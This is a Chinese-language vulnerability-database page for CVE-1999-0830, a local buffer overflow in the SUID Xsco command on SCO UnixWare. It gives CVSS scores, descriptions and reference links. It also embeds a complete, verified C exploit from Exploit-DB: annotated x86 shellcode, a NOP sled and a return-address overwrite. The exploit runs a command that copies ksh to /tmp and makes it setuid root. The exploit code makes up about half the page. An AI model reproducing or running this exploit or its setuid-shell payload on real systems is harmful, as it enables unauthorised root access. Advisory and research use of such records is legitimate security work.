CVE-1999-0830
CVSS7.2
发布时间 :1999-11-01 00:00:00
修订时间 :2008-09-09 08:36:01
NMCOE    

[原文]Buffer overflow in SCO UnixWare Xsco command via a long argument.


[CNNVD]SCO UnixWare Xsco命令缓冲区溢出漏洞(CNNVD-199911-005)

        SCO UnixWare Xsco命令中存在缓冲区溢出漏洞。可以借助于一个长参数导致该漏洞。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0830
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0830
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199911-005
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

SCO UnixWare Xsco命令缓冲区溢出漏洞
高危 缓冲区溢出
1999-11-01 00:00:00 2005-10-20 00:00:00
本地  
        SCO UnixWare Xsco命令中存在缓冲区溢出漏洞。可以借助于一个长参数导致该漏洞。

- 公告与补丁

        

- 漏洞信息 (19641)

SCO Unixware 7.0/7.0.1/7.1 Xsco Buffer Overflow Vulnerability (EDBID:19641)
sco local
1999-11-25 Verified
0 k2
N/A [点击下载]
source: http://www.securityfocus.com/bid/824/info

Under certain versions of Unixware, the SUID program Xsco is vulnerable to a buffer overflow attack. The problem lies in that Xsco does not sanity check user supplied data. 

// UnixWare7 /usr/X/bin/Xsco local, K2/cheez
//
// Xsco produces some strange side effect's with the execve; it seems
// that commands can not be run interactively.  Thanks to cheez for the
// shellcode.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
/*   0 */ "\xeb\x5f"                         /* jmp springboard       */
/* syscall:                                                           */
/*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*   9 */ "\xc3"                             /* ret                   */
/* start:                                                             */
/*  10 */ "\x5e"                             /* popl %esi             */
/*  11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/*  13 */ "\x89\x46\x9d"                     /* movl %eax,-0x63(%esi) */
/*  16 */ "\x88\x46\xa2"                     /* movb %al,-0x5e(%esi)  */
/* seteuid:                                                           */
/*  19 */ "\x31\xc0"                         /* xor %eax,%eax         */
/*  21 */ "\x50"                             /* pushl %eax            */
/*  22 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
/*  24 */ "\xe8\xe5\xff\xff\xff"             /* call syscall          */
/*  29 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* setuid:                                                            */
/*  32 */ "\x31\xc0"                         /* xor %eax,%eax         */
/*  34 */ "\x50"                             /* pushl %eax            */
/*  35 */ "\xb0\x17"                         /* movb $0x17,%al        */
/*  37 */ "\xe8\xd8\xff\xff\xff"             /* call syscall          */
/*  42 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* execve:                                                            */
/*  45 */ "\x31\xc0"                         /* xor %eax,%eax         */
/*  47 */ "\x50"                             /* pushl %eax            */
/*  48 */ "\x56"                             /* pushl %esi            */
/*  49 */ "\x8b\x1e"                         /* movl (%esi),%ebx      */
/*  51 */ "\xf7\xdb"                         /* negl %ebx             */
/*  53 */ "\x89\xf7"                         /* movl %esi,%edi        */
/*  55 */ "\x83\xc7\x10"                     /* addl $0x10,%edi       */
/*  58 */ "\x57"                             /* pushl %edi            */
/*  59 */ "\x89\x3e"                         /* movl %edi,(%esi)      */
/*  61 */ "\x83\xc7\x08"                     /* addl $0x8,%edi        */
/*  64 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
/*  67 */ "\x89\x7e\x04"                     /* movl %edi,0x4(%esi)   */
/*  70 */ "\x83\xc7\x03"                     /* addl $0x3,%edi        */
/*  73 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
/*  76 */ "\x89\x7e\x08"                     /* movl %edi,0x8(%esi)   */
/*  79 */ "\x01\xdf"                         /* addl %ebx,%edi        */
/*  81 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
/*  84 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/*  87 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/*  89 */ "\xe8\xa4\xff\xff\xff"             /* call syscall          */
/*  94 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                       */
/*  97 */ "\xe8\xa4\xff\xff\xff"             /* call start            */
/* data:                                                              */
/* 102 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 106 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 110 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 114 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 126 */ "\x2d\x63\xff";                    /* DATA                  */

#define SIZE 600
#define NOPDEF 101
#define DEFOFF -240
#define LEN 102

const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i,len;
    char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";

    memset(buffer, x86_nop, SIZE);

    len = strlen(cmd); len++; len = -len;
    shell[LEN+0] = (len >>  0) & 0xff;
    shell[LEN+1] = (len >>  8) & 0xff;
    shell[LEN+2] = (len >> 16) & 0xff;
    shell[LEN+3] = (len >> 24) & 0xff;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    esp = get_esp();

    buffer[0]=':';
    memcpy(buffer+nop, shell, strlen(shell));
    memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));
    memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);
    for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }

    printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop);
    execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);

    printf("exec failed!\n");
    return 0;
}
		

- 漏洞信息

8336
SCO UnixWare /usr/bin/X11/Xsco Command Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in SCO UnixWare. UnixWare fails to check the boundary of arguments supplied to the "Xsco" command, resulting in a buffer overflow. By passing an overly long argument (argv[1]) to Xsco, an local attacker can cause a buffer overflow and gain superuser privileges, resulting in a loss of integrity.

- 时间线

1999-11-26 Unknow
1999-11-26 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SCO has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站